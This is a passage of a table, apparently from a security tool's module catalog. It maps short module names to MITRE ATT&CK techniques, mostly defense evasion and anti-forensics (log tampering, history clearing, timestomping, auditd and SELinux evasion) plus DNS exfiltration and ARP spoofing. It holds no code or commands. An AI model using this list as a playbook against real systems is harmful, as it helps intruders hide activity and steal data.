|278| ansible_abuse | Ansible infrastructure abuse | T1072 — Software Deployment Tools |279| log_tamper | Log entry manipulation | T1070.002 — Clear Linux or Mac System Logs |280| history_clear | Shell history removal | T1070.003 — Clear Command History |281| timestomp | File timestamp modification | T1070.006 — Timestomp |282| auditd_evade | Audit system evasion | T1562.001 — Disable or Modify Tools |283| selinux_bypass | SELinux bypass | T1562.001 — Disable or Modify Tools |284| rootkit_detect | Rootkit detection | T1014 — Rootkit |285| dns_tunnel_exfil | DNS-based data exfiltration | T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol |286| arp_spoof | ARP cache poisoning | T1557.002 — ARP Cache Poisoning |287| packet_capture | Network traffic capture | T1040 — Network Sniffing |288| cleanup_linux | Artifact removal | T1070 — Indicator Removal |